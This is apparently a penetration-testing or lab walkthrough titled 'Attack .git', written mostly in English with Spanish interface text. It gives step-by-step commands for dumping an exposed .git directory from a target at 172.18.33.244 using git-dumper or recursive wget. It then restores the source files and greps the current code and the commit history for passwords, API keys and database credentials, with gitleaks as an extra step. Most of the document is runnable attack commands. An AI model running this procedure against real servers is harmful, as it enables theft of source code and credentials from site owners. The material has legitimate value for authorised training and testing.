Ir al contenido

Attack .git

Objective: We will download the complete source code and change history of the target. Target: http://172.18.33.244/.git/Tool: git-dumper...

0views

Objective: We will download the complete source code and change history of the target. Target: http://172.18.33.244/.git/Tool: git-dumper (Python)

We need a tool that doesn't just download files, but understands the Git structure to reconstruct the corrupt or incomplete repository.

  1. We will install git-dumper: In our Kali terminal:

    pip3 install git-dumper

    (If it fails, we will ensure we have python3-pip installed: sudo apt install python3-pip).

    Ventana de terminal

We are going to download all the content of the .git folder and reconstruct the working directory.

  1. We will run the dumper:

    # Sintaxis: git-dumper [URL] [CARPETA_DESTINO]
    git-dumper http://172.18.33.244/.git/ ./git_loot
  2. Verification: If we see progress bars downloading objects, indexes, and refs, we are on the right track.

    Ventana de terminal
    cd git_loot
    ls -la
    # Deberías ver una carpeta .git y posiblemente archivos sueltos.

Sometimes git-dumper downloads the database (.git) but not the visible files. We are going to force Git to "materialize" them.

  1. We will restore the code: While inside the git_loot folder:

    git checkout .

    This will extract all files (index.php, config.php, etc.) from the downloaded database.

This is where we will look for gold. We won't just look at current files, we will look at the past.

  1. We will search for credentials in the current code:

    Ventana de terminal
    grep -rE "password|user|host|key|secret|db" .
  2. Historical Analysis (The Time Machine): Developers often upload a password and delete it in the next commit. Git remembers everything.

    • We will look at the change log:

      git log --oneline
    • We will look at the change content (Diffs):

      git log -p

      We will look for red (deleted) lines containing passwords.

  3. Automated Tool (Optional but recommended): If we have gitleaks or trufflehog:

    # Busca secretos en todo el historial
    gitleaks detect --source . -v

What specifically are we looking for?

Sección titulada «¿Qué buscamos específicamente?»
  • config.php or db.php files with MySQL credentials.
  • Comments with pending tasks: // TODO: remove root password.
  • Hardcoded API keys.

If we cannot install tools or are blocked, we will use wget recursively:

Ventana de terminal
wget -r -np -R "index.html*" [http://172.18.33.244/.git/](http://172.18.33.244/.git/)

Note: This is messier and may require manual repository repair with git fsck.